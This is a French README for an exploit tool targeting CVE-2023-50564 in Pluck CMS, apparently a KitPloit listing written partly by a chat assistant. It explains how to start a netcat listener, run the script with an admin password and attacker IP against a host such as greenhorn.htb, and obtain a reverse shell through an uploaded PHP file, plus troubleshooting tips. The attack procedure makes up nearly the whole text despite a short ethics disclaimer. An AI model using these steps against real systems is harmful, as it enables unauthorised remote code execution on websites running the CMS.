Utilisation

Arguments :

• -h <host> : L'hôte cible (ex. greenhorn.htb).
• -P <password> : Le mot de passe du panneau d'administration de Pluck CMS (ex. abcd123).
• -i <IP> : L'adresse IP de l'attaquant pour recevoir le reverse shell.
• -p <port> : Le port sur lequel l'écouteur Netcat écoute pour capturer le reverse shell.

Exemple :

Étapes :

1. Configurer l'écouteur Netcat : Sur la machine de l'attaquant, démarrez un écouteur Netcat sur le port spécifié :

   root@kitploit:~

   nc -nvlp <port>
   

   Par exemple :

   root@kitploit:~

   nc -nvlp 9001
   

2. Exécuter le script : Fournissez les paramètres requis au script, y compris l'hôte, le mot de passe, l'adresse IP et le port.

   root@kitploit:~

   ./CVE-2023-50564 -h greenhorn.htb -P ********* -i 10.10.16.7 -p 9001
   

3. Exécution du script :

   • Le script se connecte au panneau d'administration de Pluck CMS.
   • Il télécharge un fichier ZIP contenant un script PHP de reverse shell (love.php).
   • Une fois le fichier ZIP téléchargé, le reverse shell est exécuté sur la cible, et une connexion est établie avec votre écouteur Netcat.
   • Un message clair s'affiche : "RCE is waiting for you, please go take a look.", et le script se termine après avoir suivi le temps écoulé.

4. Accéder à la cible : Une fois le reverse shell déclenché, la connexion apparaîtra dans votre écouteur Netcat, vous donnant un accès distant à la machine cible.

POC

image

Exemple de sortie

Prérequis

• cURL : Pour interagir avec Pluck CMS et télécharger des fichiers.
• Netcat : Pour écouter le reverse shell.

Vous pouvez installer curl et netcat en utilisant les commandes suivantes s'ils ne sont pas installés :

Debian/Ubuntu :

Red Hat/CentOS/Fedora :

Avertissement

Ce script est destiné uniquement à des fins éducatives et de tests de pénétration autorisés. Toute utilisation non autorisée de ce script est illégale et contraire à l'éthique. Obtenez toujours une autorisation appropriée avant d'exploiter une vulnérabilité sur un système.

Dépannage

1. 504 Gateway Time-out : Le script peut rencontrer cette erreur lors de la tentative d'exécution du reverse shell, mais cela n'affecte pas la réussite de l'exécution du shell. L'erreur est généralement due au fait que le serveur cible met trop de temps à répondre à la requête HTTP, mais le shell devrait tout de même fonctionner.
2. Problèmes d'écouteur Netcat : Si vous ne recevez pas le reverse shell, assurez-vous que votre adresse IP et votre port sont correctement définis, et qu'il n'y a pas de restrictions de pare-feu empêchant la cible de se connecter à votre machine.
3. Échec de connexion du script : Si la connexion au panneau d'administration du CMS échoue, vérifiez le mot de passe fourni et assurez-vous que le CMS est accessible sur la machine cible.

Faites-moi savoir si vous souhaitez toute autre personnalisation ou clarification dans le README !